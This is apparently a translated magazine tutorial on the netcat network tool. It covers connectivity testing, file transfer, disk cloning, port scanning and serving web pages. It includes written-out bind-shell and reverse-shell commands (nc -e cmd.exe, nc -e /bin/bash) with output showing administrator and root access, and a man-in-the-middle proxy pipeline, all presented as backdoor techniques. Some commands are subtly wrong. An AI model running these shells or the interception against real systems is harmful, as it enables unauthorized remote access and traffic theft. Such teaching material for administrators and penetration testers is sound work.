Netcat is a very good piece of software used all around the world by security and IT professionals, in general, to accomplish many different goals, from loading a simple socket in a specific port to test network connectivity, to develop full backdoors for other meanings. Here below is an article I have written and published in a very well-known Brazilian IT magazine called Infra Magazine, more specifically on issue number 3. This article was initially published in Portuguese therefore I’ve translated it into English.
Nice Reading!
NetCat: The TCP/IP Swiss Army Knife
As security or infrastructure specialists, we constantly need to test our networks, which can be very time-consuming, just to validate simple firewall rules and connectivity between the networks. The standard way to perform such a procedure is to get some network services up in the right servers and simply test them. The problem here is that, besides taking a long time to perform, sometimes the service take a lot of time and complexity to be configured just for a simple test, and at this step, we simply need an easy way to test our networks and services. That’s where netcat comes in handy.
Netcat, developed in 2004 by a developer known as Hobbit, is a simple, but very handy, network tool to read and write data across networks using the TCP/IP stack protocols, and can be used to create the most different services, for connectivity tests and security purposes. It was developed to be a reliable back-end tool that can be used directly on the system command line, or indirectly by scripts. Netcat can be integrated with other software and scripts for a series of network tasks which utility and approach depend solely on the user’s imagination and TCP/IP knowledge.
Yet, netcat can be easily used for a series of maintenance, development information gathering and network troubleshooting tasks because it simulates nearly every existing network connection type, among other things like:
- Intput/Output Connections, TCP or UDP, with origin or destination in any TCP/IP stack protocol port;
- Full DNS checks (forward / reverse) with warning messages;
- Ability to work in any local TCP/IP port;
- Ability to use any locally configured network IP address;
- Serial or random port scan support;
- Support to “loose-source-routing”;
- Ability to read command-line arguments from the standard input (stdin);
- Support to hex dumps or files;
- Optional functions of telnet protocol reply;
The best of it all, netcat is totally free, distributed under the GNU General Public License (GPL), can be downloaded for Linux, FreeBSD, NetBSD, SunOS/Solaris, MacOS X, Windows, among other systems, directly from it’s official website (http://netcat.sourceforge.net).
Nowadays, due to it’s great importance for network administrators and security specialists, mainly security penetration testing specialists, Netcat is available in the most unix-like software repositories, what avoids the time consuming procedure of installing it by hand through compilation. For the purists, Netcat can also be download in source code to be compiled in other more specific systems.
Usage and Basic Syntax
Netcat was developed to be easily used with very intuitive command-line arguments. Netcat doesn’t have an official GUI (Graphical User Interface) due to the fact that its use generally made all on the command line. There are some implementations of GUIs made by netcat enthusiasts, one of them is GtkNetCat with a very user-friendly and intuitive interface.
Netcat syntax is very easy and simple, and is practically similar in any Unix-like Operating System. The executable netcat command is nc.
# nc [-options] port[s] [ports]
Where:
- nc: The executable netcat command name, executed on the shell;
- [-options]: Options Parameters and arguments passed to the main command executable, like listen, tcp, etc
- <host>: IP or name of the host to be connected to;
- port[s]: TCP/UDP port used for the service
Client Mode
The first example presented here is the simplest form of usage of Netcat, as a connection client to other services and websites, avoiding the use of our very old friend, telnet client. To use netcat in this manner, just specify the host options and port needed:
# nc www.kernel.org 80
GET / HTTP/1.1
In the same way a web browser works accessing the website on theInternet by typing www.kernel.org on the URL bar, we use Netcat as a TCP connection client (inted of the web browser or telnet client) on port 80 (HTTP) on www.kernel.org website. Once the command is executed, we type “GET / HTTP/1.1” as a HTTP parameter to execute a Banner Grabbing (header capture) on the web server. This parameter is passed to the website by any web browser (FireFox, Chrome, IE, etc), but it’s not visible to the user. See the result of the previous command:
HTTP/1.1 400 Bad Request
Date: Sat, 07 Jul 2012 01:52:00 GMT
Server: Apache/2.2.22 (Fedora)
Content-Length: 226
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC “-//IETF//DTD HTML 2.0//EN”>
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
</body></html>
Obviously, the previous example can be extended to any connection oriented (TCP) protocol, like mail servers (SMTP), file servers (FTP, SAMBA), and others.
It’s important to point out that concerning typical Unix-like command-line commands, we can use pipes (“|”) or redirect characters (“>”, “>>”, “<“) to enhance or complete netcat’s working. This way, this very example could be executed creating a file get.txt containing the HTTP tag “GET / HTTP/1.1“, and passing its contents to netcat directly from the file:
# nc www.kernel.org < get.txt
Another way to execute the same command would be echoing a text using the command echo or printf through a pipe, directly to netcat:
# printf 'GET / HTTP/1.1\n\n' | nc www.kernel.org 80
When no protocol option is specified on the command-line, the TCP protocol is used by default in client or server mode, and can also be specified, although it is not necessary, by the option “-t” or “–tcp“. If there is a need to use the UDP protocol (not connection oriented), this must be specified directly using the option “-u” or “–udp“.
A shor texample of the use of UDP protocol in netcat is a DNS query, instead of using the already famous dig, nslookup commands:
# nc -u ns1.server.com 53
Server Mode (Listen Mode)
Many times the network administrator has the need to test the connectivity of many network services going through the interfaces of a firewall, but configuring services like DNS and Web Servers just for the purpose of a test could take a long and precious time. Netcat helps us in this task by using it in LISTEN (-l) mode in any socket or port (-p) we want, as can be seen in the example below:
# nc -l -p 80
This way, we have just executed netcat serving a connection in listening mode on port 80, in the same way, a web server would. It’s important to point out that in Linux systems, just the root user can service connections below port 1024. In case a normal user tries to execute netcat in a lower port, he will receive the following error message:
# nc -l -p 80
To connect to the service in LISTEN mode, we just need to use a connection client like TELNET or Netcat itself in client mode in another terminal, like this:
# nc <our_server_IP> 80
A very interesting point, and very important for the examples to come, is to notice that, using Netcat in Listen Mode and connecting to it via client mode, any dialed string in the standard in (stdin), will be replied to the standard output (stdout) of Netcat in Listen Mode. Due to this behavior, many times this function is also called Chat Mode, and can also be used to transmit any kind of data, as can be seen forward in this article.
File and Data Transfer
Once knowing the utility of Netcat in Listen Mode, and also the usage of pipe and redirection characteres, they can be used all together to transfer files in many different ways.
In this example we are going to transfer a file, named get.txt, in clear text from it’s source to the requesting server (client), saving it to a file named get-client.txt using Linux commands and pipes. The first step is to verifying if the copy of both files are reliable and check, with the help of md5sum command, the CRC number of the original file. At the end of the transfer we’re gonna do the same to the destination file. The checksum number is going to be used here to check the integrity of the files (original and destination). It’s take from the file to be checked my many commands (in our example we’re going to use the md5sum command), for comparison between two files. In case they are the same, the copy is reliable and integer.
In the example below we can note that the transfer was executed correctly, and the checksum numbers of both files, get.txt (source) and get-client.txt (destination) are exactly the same, showing that the copied file is integer.
Server 1 (serving the file)
# md5sum get.txt
43fe9d8de2392b2e3c0289173fed453e get.txt
# cat get.txt | nc –l –p 10000
Server 2 (capturing the file)
# nc 192.168.217.132 10000 > get-client.txt
# md5sum get.txt
43fe9d8de2392b2e3c0289173fed453e get-client.txt
Using this example as a basis, we can take it to another level by trasnfering the content of a directory, compressing it in the transfer, and decompressing it at the destination, as shown below:
Server 1 (serving the file)
# tar –cf – /home/test/ | nc –l –p 10000
Server 2 (capturing the file)
# nc 192.168.217.132 10000 > tar –xvzf -
In this example, we executed a copy of the directory named /home/test from Server 1 to Server 2, using a real-time compression on the transfer by using the “tar -cf” command.
In the fist command, the directory /home/test was properly compressed and had it’s data sent to the standard output (stdout) using the command “tar -cf – /home/test/“. The process of compressing a file in the moment of its transfer serves us as a data compression that will help us to customize the amount of time taken by the file to be transfered.
Another interesting example is the possibility of cloning a hard disk from one server to another, as can be seen below:
Server 1 (serving the destination disk)
# nc –l –p 3000 | bzip2 –d | dd of=/dev/sdb
Server 2 (sending the disk data)
# bzip2 –c /dev/sda | nc 192.168.217.132 3000
In this example, netcat was executed in Listen Mode on port 3000 and had it’s output redirected to bzip2 command with the “-d” option, that will compress the file on the destination server. Right after that it’s gonna be sent, using pipes, to the dd command, that writes the output (of=) bit per bit on disk /dev/sdb. Once Netcat is in Listen Mode on Server 1, we can log in to Server 2 and start the sending process by request to bzip2 to compress the /dev/sda disk, using the “-c” option, to the standard output (stdout). After that we send this output to the Netcat command that will connect itself to Server 1 on port 3000.
Obviously, the compress process can be executed by any shell command or software, but in our example bzip2 was used, differently from our first example where the tar command was used.
Executing Commands in Listen Mode (Backdoor Mode)
Netcat has the option, particularly important for penetration tester and security analysts (for the inclusion of backdoors), that permits the remote execution of any command or script on the server that remotely listens to the socket, the option “-e“. A small example would be to execute a command in a Windows System creating a remote shell:
Server 1 (Windows Machine)
C:\nc11nt> netcat.exe –l –p 2000 –e cmd.exe -d
Server 2 (Linux Machine)
# nc 192.168.217.2 2000
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\nc11nt> dir
dir
Volume in drive C has no label.
Volume Serial Number is AE7D-CB8E
Directory of C:\nc11nt
08/07/2012 17:01 <DIR> .
08/07/2012 17:01 <DIR> ..
28/11/1997 14:48
12.039 doexec.c
09/07/1996 16:01 7.283 generic.h
06/11/1996 22:40 22.784 getopt.c
03/11/1994 19:07 4.765 getopt.h
06/02/1998 15:50 61.780 hobbit.txt
28/11/1997 14:36 544 makefile
03/01/1998 14:37 59.392 nc.exe
04/01/1998 15:17 69.081 NETCAT.C
16/09/2009 14:39
9 File(s)
7.070 readme.txt
244.738 bytes
2 Dir(s) 111.135.408.128 bytes free
C:\nc11nt> echo %USERDOMAIN%\%USERNAME%
echo %USERDOMAIN%\%USERNAME%
SERVER\Administrator
Note that the service was initiated on port 2000 on Windows server, requesting the execution of cmd.exe command with the option “-e“. Once connected verifying the system banner, we can see that the MSDOS
command prompt (“C:>“) shows up, then we execute the dir command. Observe that when the “echo %USERDOMAIN%\%USERNAME%“ is used, we receive the following data in reply, “SERVER\
Administrator“, indicating that we are connected with system administrator rights, once we have executed the listening netcat as a System Administrator. We have now full access to this server.
A very important option, that can be used together with “-e” is the Stealth Mode “-d” option. The Stealth Mode option makes the terminal disconnect from the cmd.exe command used, this way we can execute this command in background without the risk of a service down from the netcat serving the port and the client disconnects. This option exists only in Microsoft Windows systems, once the Linux special character “&” already does the job.
The commands listed above can be easily altered to serve backdoors as a remote way in to any server, not necessarily on the command line, but by other commands and/or scripts.
Creating a Reverse Shell
On the previous example, we have opened a shell on the remote directory for a client connection, but many times, the firewall doesn’t allow the opening of the ports used, or a local shell. For such situation, there is a resource of opening a reverse shell, where the netcat in Listen Mode to be created is initiated on the server, but the shell is requested from the client side (the one that’s connecting to the server). To keep it more complex and complete, our server in Listen Mode will be a Windows and the client machine will be a Linux.
See the example below:
Server 1 (Windows)
C:\nc11nt> nc.exe –nvl –p 2000
Listening on [any] 2000 ...
Server 2 (Linux)
# nc 192.168.217.2 2000 –e /bin/bash
This way we create a remote reverse shell on the client side. So, all we have to do is execute the command on the server, and it’s gonna be executed on the client machine, as shown in the example below:
Server 2 (Linux Client)
C:\nc11nt> nc.exe –nvl –p 2000
Listening on [any] 2000 ...
Connect to [192.168.217.2] from <192.168.217.132> 52456
whoami
root
pwd
/root
Notice that in the previous example that two commands were executed, “whoaim” and “pwd“, that verify which user is logged in and what is the current directory.
Creating a Reverse Shell has many utilities, like copying files and/or exploits (Scripts that exploit vulnerabilities through malicious code) to the target server, and also execute routines and create new backdoors for further server access.
Network Port Scanner
Although not so complete as the famous Nmap, Netcat has support to network and port scanning on the network hosts in a serialized or random form, with port range support, as seen in the example above:
# nc –v –n –w 2 –r –z 192.168.217.2 100-500
(UNKNOWN) [192.168.217.2] 445 (microsoft-ds) open
(UNKNOWN) [192.168.217.2] 443 (https) open
(UNKNOWN) [192.168.217.2] 139 (netbios-ssn) open
(UNKNOWN) [192.168.217.2] 135 (loc-srv) open
In the previous example, we have used Netcat to scan (option “-z“) the server 192.168.217.2 specifying the port range (100-500) with the character “-” between the start port and the final port. We have also used the option “-n” to avoid DNS queries no the target IP, and the option “-v” (verbose) to add more details to the output. The option “-v” (verbose mode) adds more details to the output of the Netcat scanner command and can be used (as in tcpdump, etc) twice (“-vv“). Notice that, depending on the number of ports configured in the network port range, the scanning time becomes higher, that’s why we also used the option “-w“, to allow a timeout of two (2) seconds per each port, trying to speed things up.Another important procedure to increase the probability of success is to randomize the scanning process, by using the option “-r“.
Netcat’s scanner feature shows just the Listen ports on its output, one by one, separated by a space delimiter, as shown here:
# nc –v –n –w 2 –r –z 192.168.217.2 443 445 500
This Netcat’s feature is not used much, ocasionally the target host can be denying the port scanner queries. This behavior can be a result of some network problem or firewall that might be blocking the direct port access with some speed. This can generate error messages like the ones below:
# nc -v -w 2 -r -z www.google.com 22 23 24 25
DNS fwd/rev mismatch: www.l.google.com != yx-in-f106.1e100.net
DNS fwd/rev mismatch: www.l.google.com != yx-in-f147.1e100.net
DNS fwd/rev mismatch: www.l.google.com != yx-in-f99.1e100.net
DNS fwd/rev mismatch: www.l.google.com != yx-in-f104.1e100.net
DNS fwd/rev mismatch: www.l.google.com != yx-in-f103.1e100.net
DNS fwd/rev mismatch: www.l.google.com != yx-in-f105.1e100.net
www.l.google.com [74.125.45.106] 22 (ssh) : Connection timed out
www.l.google.com [74.125.45.106] 23 (telnet) : Connection timed out
www.l.google.com [74.125.45.106] 24 (?) : Connection timed out
www.l.google.com [74.125.45.106] 25 (smtp) : Connection timed out
Notice that in the previous example, we didn’t use the option “-n” used to visualize the DNS reverse query. Due to this, all the dns reverse queries made to the FQDN (Full Qualified Domain Name) were shown.
Executing DNS Queries
Using the option “-n“, for UDP packets, we can simulate a DNS query to a specific server. To do that, we need to initiate Netcat in Listen Mode on port 53/UDP. In another terminal, we verify how a dns query strings are constructed, executing a simple dig to a specific domain and sending the output to the port in Listen Mode to the file dns-query.txt, like the following:
Terminal 1
# nc –u –i –p 53 > dns-query.txt
Terminal 2
# dig www.website.com @localhost
Inside the file dns-query.txt is the DNS query strings the way the query was interpreted by Netcat. Now we need to resend this content to some valid DNS server on the Internet, to simulate this query. Now we can reuse the query response and execute it directly in netcat using the following command, where the standard output will be the screen.
# cat dns-query.txt | nc –u ns1.server.com 53
Hosting Web Pages
Another feature of Netcat is to serve simple HTML web pages (the same way a web server does) to use it for tests or even exploit study/test. To ilustrate this example, we create a small HTML page named pagina.html, with the following content:
<html>
<title>Pagina de teste</title>
<body>
<h2>Alo Netcat</h2>
<h2>Bem Vindo</h2>
</body>
</html>
To avoid installing and configuring of a real web server from scratch, we use a shell script “while” structure to prevent the site from stopping. Right after that, we connect redirect the output of the file pagina.html to Netcat command in Listen Mode on port 80/TCP, with the command “nc -l -p 80 -q 1 < pagina.html“. We close this command with the “while” and “done“, as in a regular simple shell script, like the following:
# while true; do nc -l -p 80 -q 1 < pagina.html ; done
This way we have just created a web server on port 80/TCP serving page “pagina.html“. Note that the command will stay in execution on the terminal until it’s finished with a CRTL+C.
After that we open another terminal and using the command “netstat -platun | grep 80” we can see that port80/TCP is up and running:
# netstat -platun | grep 80
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 7155/nc
The output of “netstat” command shows us that the Netcat command was executed with no further problems and it’s listening on port 80/TCP. Once the port is open and running we can direct our browser to it using the local IP as URL.
If we return to the terminal where Netcat is in Listen Mode serving the page, we can see the User Agent banner of Internet Explorer (the browser we’re using), on the standard output:
# while true; do nc -l -p 80 -q 1 < pagina.html ; done
GET / HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: pt-BR
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64;
Trident/5.0)
Accept-Encoding: gzip, deflate
Host: 192.168.217.132
Connection: Keep-Alive
GET /favicon.ico HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64;
Trident/5.0)
Host: 192.168.217.132
Connection: Keep-Alive
Defining a Source IP
In some cases, where the server used for Netcat, has many different IPs configured in one or more network interfaces, it’s necessary to define a specific IP for Netcat to work, otherwise, when a specific IP is not defined, Netcat automatically listens in all IPs (0.0.0.0), as can be seen in the example below:
Terminal 1
# nc–l –p 12345
Terminal 2
# netstat -platun | grep 1234
tcp 0 0 0.0.0.0:12345 0.0.0.0:* LISTEN 2244/nc
To avoid this behavior, we can use the option “-s” to define a specific IP where netcat’s socket will listen.
Using the command “ifconfig -a | grep inet” we can observe the server has many IPs:
# ifconfig -a | grep inet
inet addr:192.168.217.132 Bcast:192.168.217.255 Mask:255.255.255.0
inet addr:192.168.217.135 Bcast:192.168.217.255 Mask:255.255.255.0
Now let’s use netcat to listen to two different services in two different IPs. The first one will be created on port 12345 on IP 192.168.217.132, the second one will on port 12346/TCP on IP 192.168.217.135, executing each one in a different terminal:
Terminal 1
# nc –s 192.168.217.132 –l –p 12345
Terminal 2
# nc –s 192.168.217.2 12346 –l –p 12346
In a third terminal we use the command “netstat” to visualize the two IPs addressess, each one executing one of the ports listed above, on it’s specific IPs:
# netstat -platun | grep 1234
tcp 0 0 192.168.217.132:12345 0.0.0.0:* LISTEN 2231/nc
tcp 0 0 192.168.217.135:12346 0.0.0.0:* LISTEN 2232/nc
Generic Proxy
Netcat has a very convenient feature when you use it command with Unix/Linux pipes. We can create a sniffer to launch “Man-in-the-middle” attacks, or simply monitor client-to-client traffic. This way we can
gather information to execute malicious activities or just simply for network traffic debug.
We can visualize exactly the character sequence received by the remote server and, consequently, monitor network traffic that hit this port.
To execute this task, we need to create a “backpipe” type file.
# mknod backpipe p
Once create, we use Netcat to create a server listening on port 80/TCP, and set another Netcat (that receives logs via pipe from the previous command) to talk to the real server in it’s original port, in our example
81/TCP. This way, we make them traffic data from one to another, as a proxy, or as a “man-in-the-middle” sniffer, as in the command below:
# nc –l –p 80 0<pipe-return | tee –a input | nc localhost 81 | tee –a output 1>pipe-
return
Due to the fact that pipes in Linux Bash only transport data in one direction, we need a way to take the responses together with the data. We than create another pipe in the local filesystem to load the data back in the oposite direction.
Requests destined to the netcat proxy reach the socket create by the first netcat command that is in Listen on port 80/TCP (“nc -l -p 80′′), this requests are than resent via pipe to the command “tee“. The command “tee“, together with linux pipes (“|”), is used to receive the previous command output and externalize them to two different places, the first one logs the output to the file “entrada“, and the other one directs the output as a input argument to the next command (“nc localhost 81′′), that connects to the real web server as a connection client. When the reply returns to the server, it gets to the second command (“nc localhost 81“) directly, and is written by the command “tee” to the output file “saida“. The same reply is resent the the pipe file “pipe-retorno” on the local filesystem. This way we have a command that sends it’s result to the “tee” command, that sends its results to two different places, they are the output file and the pipe file.
Due to the complexity of this command, I suggest you look for it closer at https://explainshell.com. Just copy and paste the command in there and it will give you a full explaination of what it does.
At first sight this operation can be a little more complicated then usual. Take your time to analyze and fully
understand this figure, and get used to Netcat’s syntax. As you can see with a little bit a criativity you can
create anything you want.
Conclusion
The Netcat command is a little bit complex but also very flexible, being a key tool to any IT analyst, from programmers to security/network professionals. Netcat can be easily used for creating scripts, softwares,
network test, service and firewall troubleshooting, exploits, helping you everyday.
There are many other examples on how Netcat could be used, and as the ones shown in this article, they serve as a starting point to daily operations.
The only limit to turn Netcat in a complete, full of features in a must tool is your creativity and need.
Although Netcat have being widely used because of its great features, there are other more update
alternatives, but it’s a subject for another article.